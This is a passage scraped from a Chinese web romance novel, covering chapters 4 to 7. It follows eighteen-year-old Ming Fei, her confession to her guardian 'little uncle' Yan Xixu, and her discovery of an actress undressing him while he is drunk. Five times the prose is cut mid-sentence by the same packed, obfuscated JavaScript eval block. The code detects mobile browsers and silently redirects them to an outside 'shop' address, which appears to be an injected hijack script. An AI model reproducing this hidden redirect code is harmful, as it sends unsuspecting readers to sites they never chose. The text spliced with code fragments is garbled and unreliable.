;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660766|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这么多年了,宴西叙还是只吃软不吃硬,他捏了捏眉心,到底还是妥协:“那只能喝一点。” “嗯嗯。” 他帮她倒了小半杯威士忌,递给她时杯沿正好是他没碰过的一边:“不过杯子只有一个,凑合用。” “没关系小叔叔,”明绯笑着伸手接过:“绯绯不会嫌弃你的哦。” 宴西叙后仰陷进沙发,轻扯了唇角:“谅你也不敢。” 明绯双手握着杯壁,正要举杯去喝,忽然窗外一声巨响,她转头望去,竟然是第二轮烟花又开始了。 随着烟花在天空炸开,整个阁楼瞬间被照亮。 收回视线时,发现宴西叙还在看着窗外的烟花,哦,是了,他或许在等那一行“绯绯,成人快乐”的祝词,毕竟是他安排的。 相比于祝词,她却更喜欢看樱花形状的烟花绽放,足够梦幻,足够迷人,就像一场盛大的告白。 至于“成人快乐”——她是成人了,可是她想要的,却并没有因为成人而轻易得到,相反,可能变得更加遥不可及了。 她的成人礼,除了让她因为已经具备了某种资格,而更为迫切地想要得到什么,却苦于不知道该怎么做才不至于让一切化为泡沫,因此更为心烦之外,似乎并没有别的作用。 所以自然也谈不上有多快乐。 手指无意识地摩挲着杯壁,她低头正要喝下那杯威士忌,无意瞥见杯沿另一侧有一圈朦胧的水痕,那是……刚刚宴西叙喝过的印记。 心跳忽然犹如擂鼓,她抿了抿唇,不动声色地将杯子转了半圈,让自己的唇完美地吻合那处微湿的印记。 威士忌的灼烈在舌尖漫开,热意迅速攀升,连呼吸都变得莫名滚烫,或许人做了坏事,就会变得格外紧张,她喝完后将杯子放回茶几,收回手时,一不留神,把酒杯碰倒了。 宴西叙的目光扫过来:“怎么了?” 她低垂下眼,眼睫轻轻颤动:“好辣……” 宴西叙哂笑:“说了小孩不许喝酒。” 明绯难得的没有呛声。 她想威士忌果然很烈,不过喝了小半杯,整个人便晕晕乎乎,脸上也越来越烫。 窗外的“樱花”开得正盛,她起身走到窗边,望着夜幕中绚烂的烟火怔怔出神。 第二轮的烟火,似乎比第一轮更加璀璨,美得就像一场梦。 漫天璀璨,将她雪白的纱裙也映成了绯色,光影流烁间,裙摆像缀满了初绽的樱花。 她忍不住踮起脚尖轻轻旋转,裙摆漾开层层叠叠的绯色涟漪,随着光影忽深忽浅地变换着。 再如何昂贵的高定礼服,也做不出这样的效果。 明绯兴奋地越转越快,绯色涟漪在身下一圈圈地荡开。 “好了绯绯,小心摔着。” 忽然手腕被人扼住,她被迫停了下来。 脑袋还有些犯晕,她过了好一会儿才看清眼前的人:“小叔叔……”她含糊不清地叫了他一声,忽然想起什么,提着裙边,仰头看向他:“看……我的裙子变樱粉色了,好看么?” 宴西叙目光落在她身上,动作温柔地替她撩起垂落在身前的一缕乌发:“好看。” 不远处烟花绽放的瞬间,火光映照在他的脸上,明明灭灭。 光影变换间,一切都变得不太真实。 她忽然轻声问:“知不知道为什么成人礼的晚礼服,我要选这件?” “为什么?” 她的声音很轻,像是窗边吹入的一缕夜风:“因为,这件最像婚纱。” 4. 第 4 章 宴西叙一怔,问:“你很想穿婚纱?” 她慢慢笑了,她是偏甜美的长相,笑起来尤其,只是此刻视线虚虚地落在半空中,眸底的光是散的,于是这个笑便显得有几分虚幻飘渺,就像一件彩色琉璃,美丽却易碎:“小叔叔,婚纱那么美,这世上,没有哪个女孩是不喜欢的。” 宴西叙点头:“也是。” “那小叔叔到时候找人帮你定制一件,这世上最漂亮的婚纱。”他理所当然地道。明绯是他一手带大,她的一应吃穿用度,也都是他一手安排。关于明绯的一切,他当然都要参与,何况是人生大事。 “我们绯绯,以后也一定是这世上最美的新娘。” 明绯失神地看着他。 酒意上浮,之前宴会上的酒劲还未散去,又喝了半杯威士忌,她只觉得越来越热,这样的热意,灼烧得神智都有些不清。 她渐渐站不稳了,不得不半靠在他的身上,离得这样近,可以闻到他身上淡淡的乌木香,混着威士忌的辛烈。 宴西叙的脸近在咫尺,光影掠过他的眉骨、鼻梁,勾勒出清绝的剪影,若隐若现。 一双桃花眼映着漫天绯光,眼皮轻掀,漫不经心地扫过。 明绯觉得醉得更厉害了,她否则她当下不会问出那样一句话:“有多美……会比小叔叔的新娘还美么?” 宴西叙蹙眉:“绯绯,你醉了。” “或许吧,”明绯笑了一下,依旧仰着脸,白腻的脸颊浮着淡淡的红晕,眸底泛着水色,有一种莫名的执拗:“可是我还是想知道答案……” “当然,”宴西叙道:“我说了,你会是这世上最美的新娘。当然也会比她美。” “她?”明绯追问:“她会是你真心喜欢的人吗?” “不会。”宴西叙侧过脸,视线望向窗外,答得干脆。 “不过她一定会是我爷爷喜欢的人。” 明绯抿了抿唇:“为什么?” “为什么?” “没有为什么,”宴西叙轻嗤:“真心?我从小就不相信那玩意儿。男人和女人之间的那点情爱,说穿了,不过是一团欲望,谈什么真心,多可笑。” “今天海誓山盟,非你不可,明天就可以跟别人上床。” “这种事,我在很小的时候就司空见惯了。” 明绯垂下眼睫,她知道宴西叙指的是什么,这些年她隐隐听说过一些关于他父母之间的过往。 总之结局十分遗憾,至于具体发生什么,整个宴家讳莫如深,她无从得知。 明绯想,或许受他父母的影响,他不再相信这世上会有人永恒不变地爱他,他也能永恒不变地爱一个人。 “可是人与人之间是不一样的……”她仰着脸,一双黑白分明的眼睛一瞬不瞬地注视着他,眼里闪过一丝微弱的光亮:“小叔叔,你真的不相信这世上,会有什么是永恒不变的么?” “当然有,”宴西叙掀起唇角:“你是我最爱的小侄女,这点永远不会变。” 于是她眼中那缕微弱的光亮,一下子黯淡。 “小叔叔,”她忽然极轻地叫了他一声:“你说我穿婚纱的样子,会比你以后的新娘更美……这并不是我想要答案。” 宴西叙眉心微蹙,目光略带困惑地望过来。 窗外忽然炸开烟花,砰地一声巨响,足以掩盖周围一切动静。 也只有在这个时候,少女的心事才能无罪:“我只希望我穿婚纱的样子,和你以后的新娘一样美——” “我的意思是,我想成为她。” 烟花掩护下的告白,随着烟花的落幕,一同消散在夜色中,仿佛从未有过。 明绯望着夜空中浮现的那一行祝词,忽然想到刚才对着生日蛋糕许下的愿望,那个宴西叙追问、她却始终没有宣之于口的愿望。 其实这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660767|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,她的愿望始终没有变。 和小叔叔在一起,永远不分开。 只不过从今天开始,她真正意义上地长大了,已经不满足以小侄女的身份许下这个愿望。 她想要宴西叙的爱—— 男女之爱。 —— 直到凌晨十二点的钟声响起,烟花秀才落下帷幕。 结束了一天的成人礼,明绯早已精疲力尽,加上喝了不少酒,这一晚睡得格外得沉。 她又梦到了她八岁那年刚来到宴家的情形,彼时她父母双亡,爷爷奶奶重病,被接到宴宅时,面对那样陌生的环境,像是丑小鸭掉入了天鹅湖,与这周围的浮华格格不入,那个时候,她总是胆怯不安的。 她将兔子玩偶紧紧地抱在怀里,尽管已经有些破旧,但那是唯一一个属于她的、熟悉的东西,能让她觉得安心。 送她过来的佣人让她在客厅稍等一会儿,宴老爷子今天去医院了,但少爷待会儿就会下来。 她便局促地等在楼下。 忽然听到一阵脚步声,是从楼梯口传来的。 她一下子屏住了呼吸,紧张地抬头望去—— 穿着黑色高领毛衣的少年,从楼梯缓缓走下。 阳光穿透彩绘玻璃的穹顶,在他身上投下斑斓的光影,他整个人像是从油画中走出来的美少年,矜贵,慵懒,又带着一种与生俱来的淡淡疏离。 明绯呆呆地望着他。 她从没有见过这么好看的人。 少年在她面前停下,笑得散漫:“明绯?” “按照辈分—— “你该叫我一声小叔叔。” 明绯攥紧了兔子玩偶的耳朵,轻轻地开口:“……小叔叔。” 也就是从那一天开始,宴西叙进入了她的世界,那天的阳光很耀眼,他也是。 以至于在往后的很多年,她依旧会再度梦见这个场景。 5. 第 5 章 窗外不知何时蒙上了一层铅灰,乌云低垂,天色沉闷压抑。 明绯蹙眉。 晚些时候可能会下雨,她烦躁地想。 集训的最后阶段,任务加重,今天不出意外又会加课,等结束时可能是晚上十点多了。 回去会经过晚高峰延后的CBD段,那里本来就容易堵,要是下雨又容易遇上追尾事故,车道瘫痪,很有可能赶不及在十二点前回宴宅。 可今天是宴西叙的生日。 他答应会在十二点前回来陪她一起过生日,所以她也必须在这之前回去,更何况……她还准备了东西给他,一旦过了十二点,就没有意义了。 蓝杆铅笔尖啪得一声折断在画纸上,明绯这才回过神。 炭笔线条不知何时已经歪出了轮廓,明绯叹了口气,拿起橡皮擦拭,一旁的唐甜芯探过脑袋,看了一眼道:“绯绯,又画歪了?今天第几次了?你昨晚没休息好吗?” 明绯用橡皮擦掉了那条歪出轮廓的炭笔线,闻言轻轻“嗯”了声:“是有点没休息好。” “怪不得老走神呢,我们讲会话吧,讲会话就不困了,” 说着抬头偷偷观察了一圈,见老师正在逐个指导学生的画作,离他们这儿还有好远一段距离,便悄悄调整了画板角度,身体前倾,掩唇继续和明绯讲小话:“我给你看样好东西,”唐甜芯说完从背包里拿出一样东西,神秘兮兮地递给她:“喏,你看这是什么。” 明绯接过一看,是一个相框,里面有一张明信片,确切地说,是姜璃的明信片,用流沙相框框着,轻轻摆弄,金色的流沙便会在凝胶中缓缓流动,像是漂浮在海浪上的碎金,流沙淌过,露出姜璃清纯漂亮的脸蛋,上面还印有金色油漆笔的签名。 倒是很精致。 拜唐甜芯所赐,明绯对姜璃算得上是了解。 她是新晋小花,去年凭着一部A+制作的古偶杀出重围,成为某视频平台的现象级爆款,自此一炮而红。 贴在她身上最大的标签是清纯,她确实是一眼很纯的长相,像一朵纯白的茉莉,尤其是在娱乐圈这个大染缸,更是难能可贵,难怪吸粉无数,唐甜芯就是她的狂热粉,平时做数据反黑一样不落,代言更是每个都买。 据唐甜芯说,姜璃现在连亲密戏都不接,绯闻更是一个都没有,坐实了“人间白茉莉”这个称号。 明绯将流沙相框递还给她,笑着问:“怎么,又抢到你们家白茉莉的最新代言周边了?” “是啊,不过也算不上抢,只要买了代言都能有……绯绯我跟你说,这款代言的单链已经3w+了,这是新出来的牌子,没有什么基本盘,这些销量基本都是我们粉丝冲出来的,这次周边做得这么好,粉丝都特别买账……” “呜呜,这个流沙相框我真是越看越喜欢,姐姐好漂亮,这个签名也好漂亮,可惜……” “可惜什么?”明绯问。 “可惜这是印刷的,不是姐姐现签的啊,”她说着抬头看向明绯,一脸期待地问:“绯绯,你上次说能帮我要到姜璃的亲笔签名,是真的吗?” 她其实是信明绯能要到的,明绯的家境很不错,听说有人看到每次司机来接送她都是不同的豪车。 果然听明绯很快说:“当然啊,答应你的事我肯定会做到,放心,我肯定会在生日前给你的。”要到姜璃的亲笔签名,对宴西叙他们这个圈子里的人来说并不难,她之前已经跟宴西叙提过了,她想要什么,宴西叙都会满足她,不出意外的话,签名照这两天应该就能送到她手上。 唐甜芯压低声音欢呼了一声:“绯绯,你最好了,爱你!” —— 等集训结束时,果然已经晚上十点半了。 外面已经下起了雨,明绯整理好东西,撑着伞快步走向校门口,司机李叔远远地迎了上来,接过背包后帮她撑着伞,等走到车旁,又贴心帮她打开车门。 明绯接过背包,弯腰上了车:“谢谢李叔。” 等李叔上车后,她又提醒他道:“对了李叔,我们得先去一下‘馥郁时光’,您别忘了。” “知道小姐,李叔记着呢。”李叔笑着说。 “馥郁时光”是一家私人蛋糕店,口碑很不错,昨天是周末,他送明绯去了那儿,她在里面待了一天,出来后又嘱咐他周一回宴宅前她要先来这里一趟取东西。 虽然她没具体说要取什么,不过周一是宴西叙的生日,他没有过生日的习惯,但明绯既然去了蛋糕店,多半是给他拿生日蛋糕去了,周末待了一天,大约是在亲手为他制作生日蛋糕,毕竟宴宅上下都知道,他们的关系有多亲密。 等明绯出来后,果然见她拎着一个蛋糕。 知道她赶时间,送她上车后,李叔立刻调转方向往宴宅驶去。 —— 北城的雨夜,灯火通明,雨水顺着车窗蜿蜒淌下,斑斓的灯光被雨水晕染开来,折射出一个光怪陆离的世界。 一路上车辆行驶得还算顺利,并未遭遇堵车,不出意外的话,十一点出头就能回去,可最让明绯担心的事还是发生了——在距离宴宅不到两公里的一个转弯,由于雨天打滑发生了事故,车道堵塞,一时半会根本开不过去。 明绯焦急地等了十分钟,眼看时间一分一秒地过去,终于还是等不下去了,不顾李叔的劝阻,拿着蛋糕下了车,撑起伞,快步朝前方跑去。 圆头小皮鞋踩进水洼,溅起一朵朵雨花,雨势不算小,她又是跑着的,漫天的雨滴砸下来,雨伞根本遮不了多少,身上很快就湿透了,尤其一双皮鞋,刚才踩进水洼里已经泡了水,每跑一步都发出“咯吱”的声响。 身上湿透的滋味自然不好受,可她眼下顾不了这么多,只能尽量不让蛋糕被淋湿,忍耐着继续往前跑。眼看着宴宅越来越近,她甚至可以隐约看见宴西叙的卧室开了灯,他一定是早早地等她了,眼中染上欣喜,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660768|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而下一刻,脚下一滑,她忽然重重栽倒在地。 剧烈的疼痛从腿上传来,她忍痛艰难地从地上爬起,百褶裙已经完全被雨水浸透,潮湿地贴在大腿上,而裸//.露出来的小腿,此刻正蜿蜒地往下淌着血水,是刚才摔倒的时候被路上的碎石刮伤所致,伤口被雨水冲刷,泛着刺骨的疼。 她在宴家受尽宠爱,从小养尊处优,因此向来十分娇气,平时哪怕只是破了个小口子,都要闹出好大的阵仗,然而此刻却一心只记挂着蛋糕,第一时间将蛋糕捡起检查,雨天路灯晦暗,她只能用手摸索了一圈盒子,好在盒子包装严实,似乎并没有破损。 将蛋糕捡起后,她紧咬着唇,忍着疼,继续一瘸一拐地往前走去。 —— 等终于回到了宴宅,兰姨居然没有第一时间来迎接她。 兰姨是宴家的保姆,也是从小照看宴西叙长大的,对宴西叙来说,她与其说是保姆,更像是亲人。 他不喜欢被打扰,所以宴家的佣人都住在独立的侧楼,只有兰姨是例外,她和他们一起住在主楼。 如今看着空荡荡的客厅,她这才后知后觉地想起兰姨这两天家中有事,告假离开北城,回老家了。 而宴爷爷还在医院,也就是说,现在这栋楼只有她和宴西叙两个。 明绯眼睫低垂,将背包放下。 这几天天气本来有所回暖,今天突然下了一场雨,晚间气温骤降,好在因为她从小体弱畏寒,宴西叙为她在别墅安装了控温系统,任何一个角落的温度都常年保持在26摄氏度。 在室内待了片刻后,她觉得好受了许多,虽然伤口还是很疼,身上也湿哒哒的难受,脑袋还莫名有些昏昏沉沉的,但至少没那么冷了。 她低头看了一眼手表,十一点半,还好,时间刚够,不算太晚。 她没功夫再去洗澡换衣服,拎着蛋糕便上了楼。 —— 窗外夜色浓重,楼梯间的浮雕壁灯投下柔和的光晕,四周都是静悄悄的,只有明绯的脚步声渐次响起,愈发衬得偌大的别墅格外安静。 宴西叙的套房位于走廊尽头的南向位置,房门虚掩着,有灯光从门缝间漏出,在走廊上投下一片明暗的光影。 走廊上铺着厚厚的地毯,踩在上面几乎没有声音。 实在太安静了。 安静到明绯几乎以为宴西叙已经睡下了,可分明还亮着灯…… 明绯轻轻蹙眉,继续往前走去。 她站在门口,手搭上门把手,正要推门而入,视线从门缝中望进去,无意瞥见地毯上静静躺着一条高定花瓣礼服裙,抹胸剪裁,收腰极细,上面镶嵌着钉珠,细闪之下仿佛花瓣上缀着的露珠,在它的不远处一前一后散落着一双链条闪钻细高跟,可以想象它们的主人一定是位身材曼妙、妩媚动人的美人。 明绯怔在原地。 明明处在恒温的室内,她却突然觉得手脚冰凉。 6. 第 6 章 手上稍稍用力,她悄无声息地推开了门。 入目的场景让她呼吸骤然凝滞。 她看见宴西叙仰靠在沙发里,领带松散,闭着眼,微微蹙眉,脸上泛着酒醉的潮红。 而那个女人正跪坐在他身上,栗色的长发垂落至腰间,恰好遮住了雪白光裸的脊背。她一手捧着他的脸,细密地亲吻着他,另一只手搭在他的皮带扣上,摸索着想要解开皮带,雪白的脊背随着她亲吻的动作若隐若现。 明绯只觉耳边嗡嗡作响,神经仿佛有电流滋滋窜过,又像是有无数声音冲撞过来,一阵阵的头晕,一时连站稳都不能够,手上骤然失了力道,蛋糕哐当一声掉落在地。 这声动静算不上大,但在此刻深夜寂静的别墅中,显得尤为突兀。 女人显然被这一声动静吓到了,立刻回头察看,四目相对的一瞬间,明绯瞳孔骤缩。 眼前女人清纯漂亮的面孔与下午集训课时签名照上姜璃的面容渐渐重合。 这个人居然是姜璃,那个以清纯著称、从不接亲密戏的新晋小花姜璃…… 明绯说不上是什么感受,就在下午,她还想让宴西叙帮她去要她的亲笔签名照,而现在,她居然跨坐在他的身上,几乎不着寸缕。 如果她晚来片刻,这里会发生什么?明绯只觉得太阳穴一阵胀痛,那种晕眩的感觉又再度袭来。 姜璃显然也没有料到房间里会突然出现一个小女孩,震惊之余,第一个反应是,她是宴西叙的什么人?眼前的这个小女孩虽然看着才刚成年,但已经出落得十分动人了,站在是那里,一种让人心惊的漂亮,而且长得特别纯,确实是宴西叙喜欢的类型,这个时间点出现在这儿,很难不让人怀疑他们之间的关系。 她隐隐有些不悦,然而很快就反应过来此刻这样的场景,实在有些尴尬,何况她此时身上布料少得可怜。便从宴西叙身上下来,微微侧过了身,用及腰的卷发遮掩。 转身时余光瞥见宴西叙,他抬手撑着太阳穴,竟是已经醒了。 视线渐渐聚焦,宴西叙终于看请了眼前的人,一开口,嗓音带着酒醉后的沙哑:“绯绯?” 少女全身上下都湿透了,有水滴顺着她的发丝滴落下来,目光下移,百褶裙贴在腿上,裸露的小腿上竟有一条触目惊心的血痕。 他的酒一下子醒了,立刻从沙发上坐起:“你怎么受伤了?” 明绯只是用一种沉沉的目光看着他,毫无生机,仿佛湮灭了一切光亮。他蹙了蹙眉,不等他问什么,她便转身跑走了。 宴西叙立刻起身想要追上去,手却忽然被人握住。 掌心传来柔软的触感,姜璃轻轻蹭着他的手心,声音甜腻:“宴总……” 宴西叙低头看向她,皱眉问:“你怎么在这?” “宴总,我……” “你刚才做了什么?”姜璃这副样子,加上刚才明绯的反常,让他立刻联想到某种可能,语气骤然变冷:“她看到了什么?” 姜璃脸上的血色瞬间褪去:“我……我只是想和您……王总说,您喜欢我,让我可以主动点……我以为别墅里没有人,我也不知道刚才那个女孩……她怎么……怎么会突然进来……” “她怎么会进来?这里是她的家,你说她怎么会进来?”他的声线很冷:“倒是你,谁允许你来这里?” 之前在晚宴上,他出现的那一刻,她再也移不开视线,目光对视,他朝她微微一笑。 入座时特意让她坐在他身旁,慵懒随性地与她交谈,她以为他是喜欢她的。 圈子里不乏一些男男女女为了资源而攀附金主,用青春□□换来切实的好处,她却从未踏出那一步,那些大腹便便、眼神浑浊的金主,她连看一眼都觉得恶心,实在豁不出去,走捷径固然便利,可她也没有迫切到非得为了名利出卖自己。 可她见到宴西叙的第一眼,便鬼使神差地改了主意,倘若能攀附上他……后来因着是他生日,席间被多灌了几杯酒,王总看出他对她特殊,为了讨好他,暗示她送他回去,她便顺水推舟,于是就有了之后的事。 此时宴西叙居高临下地看着她,再没了席间游刃有余、漫不经心的姿态,那双桃花眼也不再盛着若有似无、点到为止的笑意,只是凝着一层霜色,带着上位者天然的压势。 姜璃不由得哆嗦了一下,踉踉跄跄地起身:“对……对不起宴总,是我冒昧了……” 宴西叙皱眉:“还不快走。” —— 宴西叙走出房门时,瞥见门口摔落的蛋糕,捡起的过程中从盒子里滑出一张粉色卡片,周围的空白处画满了饱满的粉红爱心,正中写着:“祝我最爱的小叔叔二十五岁生日快乐,请你品尝我亲手做的蛋糕~”落款是:“永远爱你的绯绯” 绯绯亲手做的蛋糕? 宴西叙心情愉悦地弯唇。 然而下一刻,想到她刚才错愕黯淡、毫无生气的眼神,和几乎落荒而逃的背影,眉心又皱了起来。 他从来不带乱七八糟的人回家,这回应该是把她吓到了。 那个姜璃,脱得几乎都不剩了,刚才他醉酒时她在对他做什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660769|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可想而知。 让她撞见这种场面,也不知道会不会给小孩造成什么不好的影响。 何况她还喜欢那个姜璃。 酒醉的刺痛从后颈爬上来,像是有人扯着神经,太阳穴周围的血管突突地跳动。 一想到明绯看到了不该看的,可能对她造成什么不好的影响,头更痛了。 心情一阵烦躁,他重重地摔了门,迈腿向明绯的房间走去、 眼下最要紧的是给她包扎伤口——他刚才看到她受伤了,身上还湿漉漉的,也不知怎么弄的。 明绯受伤了这件事,让他异常烦躁。 —— 站在房门口,他伸手拧了把手,刚要推门进去,却发现门反锁了。 “绯绯?”他眉心蹙起:“你锁门了?” “开门,”他的嗓音沉了下来,是一种施压的口吻:“立刻。” 蜷缩在门后的明绯怔了下,宴西叙在她面前一贯算得上是宠溺纵容,只有在她很不乖的时候才会用这种语气。 这是他耐心告罄的信号。 要是放在平时,她一定乖乖地配合。 可是今天,她偏是不想。 她不想见他,也不知道该怎么面对他。 她现在脑子乱得很,心里更是难过得要命,她只想一个人呆着,谁都不想见。 短暂的静默后。 宴西叙拧眉:“不开?” 语气彻底冷了下来。 他连名带姓地叫她。 “明绯,我数到三,你再不开,我就叫人上来砸锁。如果你想把动静闹大,传到爷爷那里,你就继续给我反锁。” 话音刚落,他便报出一个数字:“1。”丝毫不给人思考挣扎的余地。 “2。” 数字的更迭,很容易给人紧迫感,催逼着人做出选择。 果然刚数到“3”,门便从里面打开了。 宴西叙推门进来,从身后关上门。 他站在她面前,配合着弯腰,语气从刚才门外的冷沉,恢复成一贯的温柔散漫:“今天怎么这么不乖,嗯?” 明绯别过头,不想去看他:“我没什么可跟你说的。” 宴西叙轻笑:“怎么,谁又惹我们大小姐生气了?” “你做了什么,自己不知道吗?” 明绯抬头与他对视,唇边扯开一个嘲讽的笑。 多悲哀,连生气都不能光明正大——她以什么资格,什么立场呢。 她想,除了你,还有谁有这个本事让我生气,惹我伤心? 7. 第 7 章 再回过神来时,宴西叙已经牵过她的手,带着她往床边走:“好了祖宗,有什么事待会儿再说,先让我给你包扎伤口,成吗?” 他让她坐在床边,拉了书桌椅过来,坐在她的对面。 明绯从小到大都特别容易受伤,尽管他已经把注意力尽可能地分给她了,可稍不留神,她就能弄出一道伤口,可怜兮兮地来找他。 处理的次数多了,他对为她上药和包扎伤口这种事,也越来越得心应手。 握过她的脚踝,他将她受伤的小腿枕在他的腿上,拿出碘伏和棉签,低头小心地上药。 碘伏不含酒精,刺激不大,照理接触伤口不会太疼,但明绯向来娇气,接触到伤口时忍不住轻哼出声,试图抽回小腿。 宴西叙握住她的脚踝,不让她乱动。 “疼?”他耐心地哄她:“乖,忍忍。” 上完药后,他用纱布为她包扎,结束后照例帮她打了一个漂亮的蝴蝶结:“喜欢么?” 明绯不置可否,冷着脸就想要抽回脚。 脚腕却再次被他握住,明明他只是松松地圈扼着,她却一点儿也动不了了。 明绯脑道:“干什么?” “你说我干什么?”宴西叙身体后仰,懒洋洋地问:“小叔叔帮你包扎好了伤口,也不知道谢人?” “又不是我让你帮我包扎的……”明绯的语气算不上好。 明明是他非要进来。 宴西叙扯了唇角,勾起一个意味不明的笑:“行啊,成年了,翅膀硬了,越来越不听话了?” 他笑骂了一句:“小白眼狼。” “我为什么要听话?”明绯抬头直直地迎上他的视线:“小叔叔也一点儿都不听话,不是吗?” 宴西叙一愣。 趁着他走神的间隙,她立刻收回了脚,临了还不忘踹他一脚出泄愤。 宴西叙闷哼一声,腹部被小姑娘踹了一脚,力气还不算小,他也不恼,只要笑不笑地问:“就这么谢我啊。” “啧,还真是小白眼狼。” 明绯拧眉,看不惯他:“我不是!” “行,你不是,”宴西叙掀起眼皮,懒散地道:“今天你受伤了,我不跟你计较,等你伤好了,看我怎么收拾你。” 原本不过随意放句狠话,明绯却嗤了声,不以为意地道:“你能怎么收拾我?” 宴西叙皱眉:“什么?” “我说,”她忽然靠近,近乎挑衅地道:“你不能收拾我,小叔叔,难道你会打我吗?我要是不听话,你拿我一点办法都没有。” 宴西叙笑:“你知道你在说什么吗?” “知道啊,我有说错吗?”明绯冷冷道:“你能把我怎么样?你能收拾我吗?” 宴西叙挑眉,起身走到床边,双手撑在她的两侧,低笑了声:“你想我怎么收拾你?”收拾人的方法他有的是,不过能用在她身上的确实不多,归根到底,还是太宠着她了,以至于到了真想教训她的时候,发现怎么样都舍不得。 这个姿势让两人挨得极近。 近到可以清晰地感受到他身上的气息。 裹挟着雪松的清冽,尾调是慵懒的沉木香。 明绯眼睫轻颤,侧过脸道:“算了……我没什么可跟你说的。” “可我有话要跟你说,”手指掐过她的下颌,将她的脸扳了过来:“今天……吓到了吧?是小叔叔不好,不过不是你想的那样,我晚点跟你说,先去洗个澡,把湿衣服换了,注意伤口别碰到水,换完我再进来。” “你想说什么?”她的眼眸浮上一层水雾,黑白分明:“我现在就要听。” 宴西叙轻笑,习惯性地掐了一把她的脸颊,明绯五官过分精致,其实早没了小孩相,只是脸上婴儿肥未褪,连气鼓鼓的样子都显得娇憨十足,毫无威慑力,他就喜欢逗她:“急什么,我又不会跑。” “走了,换好了叫我。” 明绯垂下眼睫,没吭声。 宴西叙挑眉,掐着她的下颌往上抬:“没听见?” 被迫与他对视,明绯才不情不愿地“嗯”了一声。 “听见了不知道应声?”宴西叙要笑不笑:“小叔叔有没有教过你,好女孩要懂礼貌?” 明绯瞪了他一眼,故意大声地道:“我听见了听见了!” 宴西叙唇角浮着点笑,这才不紧不慢地走开了。 —— 半个小时后,宴西叙敲门进去了,手里提着刚才那个蛋糕。 明绯换了浴袍,正坐在床边擦拭湿发。 她是长卷发,发量又多,每次吹头发都要很久,她是个没什么耐心的人,通常吹个半干就出来了,之后再用干毛巾随意擦拭一下。 宴西叙进来后放下蛋糕,动作自然地从她手中接过干毛巾为她擦拭,之后又用吹风机帮她彻底吹干头发。 修长冷白的手指,挑起一缕乌黑的发,慢条斯理地替她轻轻吹拂。 动作熟练温柔到近乎吊诡。 ——宴大少爷天生不是伺候人的料,却又切切实实把她养得很细致。 吹风机温柔的风声在耳边鼓噪,明绯垂着眼睫,白噪音放空了烦乱的思绪,让她能够拥有片刻的宁静。 吹完头发后,宴西叙又检查了一下伤口,伤口没进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660770|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,不过边缘的纱布有些湿了,他索性拆了重新包扎。 做完这一切后,他坐在她对面,慢条斯理地拆起了蛋糕包装。 刚好这时,明绯肚子很合时宜地响了一声——下午五点吃的晚饭,因为心不在焉,也只随意吃了两口,这么久过去了,很难不饿。 宴西叙勾唇:“饿了?” 他将切好的一小块蛋糕装在纸碟上递了过去:“吃块蛋糕?” 明绯别过头,冷冷道:“不吃。” 宴西叙偏头笑:“自己亲手做的也不吃?” 明绯下意识否认,“谁跟你说这是我亲手做的了?”亲手为宴西叙做蛋糕这种事,在经历过今晚撞见的那一幕之后,实在显得太过愚蠢,她本能地不想承认。 可下一秒,宴西叙的手掌悬停在她眼前,青色血管沿着冷白腕骨蜿蜒而下,指节倏地松开,从掌心半滑出一张卡片:“那这张卡片上的字,是谁写的?啧,很眼熟啊。” 